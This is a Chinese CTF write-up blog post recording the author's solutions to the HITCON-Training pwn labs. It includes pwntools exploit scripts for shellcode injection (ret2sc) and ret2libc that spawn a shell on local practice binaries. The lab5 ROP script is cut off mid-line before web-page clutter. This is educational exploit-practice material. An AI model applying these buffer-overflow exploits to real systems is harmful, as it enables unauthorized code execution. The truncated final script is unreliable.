HITCON-trainning&寒假做题记录

HITCON-trainning

2019.1.27
是一些好题目这几天准备重新做一遍预计两天之内完成现在做到lab7
题目地址:https://github.com/scwuaptx/HITCON-Training

lab1

比较简单的逆向题这里就不贴代码了,就是一个疑惑解码

lab2

一个普通的int0x80的一个shellcode编写这里就不多讲了感觉没有什么

lab3

ret2sc

原理比较简单就是输入shellcode然后ret到我们shellcode所在的地方

from pwn import*
context(os='linux', arch='i386', log_level='debug')
p = process('./ret2sc')

payload = shellcraft.sh()
raw_input()
p.recvuntil('Name:')
p.sendline(asm(payload))
p.recvuntil(':')
payload2 = 'a'*32+p32(0x804A060)
p.send(payload2)

p.interactive()

lab4

ret2lib

一个天然的给你的泄漏地址的函数,利用这个地址可以计算出偏移然后就可以getshell,这里我没有用onegadget,原来是想用的找不到我64位下32的libc文件了,所以用了lib函数来调用

from pwn import*
context(os='linux', arch='i386', log_level='debug')
p = process('./ret2lib')
a = ELF('./ret2lib')
e = a.libc
pay = 0x804A01C
p.recvuntil('Give me an address (in dec) :')
p.sendline(str(int(pay)))
p.recvuntil(':')
libc = int(p.recvuntil('\n')[1:11],16) - e.symbols['puts']
one = libc + e.symbols['system']
raw_input()
p.recvuntil('Leave some message for me :')
p.sendline('a'*0x3c+p32(one)+'bbbb'+p32(int(e.search('/bin/sh').next())+libc))

p.interactive()

lab5

simplerop

一个比较简单的rop,很明显的栈溢出漏洞,利用gadget搜索 ropchain然后就可以找到可以利用的rop,首先布置/bin/sh的地址然后在调用int0x80在进行系统调用。

from pwn import*

context(os='linux', arch='i386', log_level='debug')
p = process('./simplerop')
a = ELF('./simplerop')
e =
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值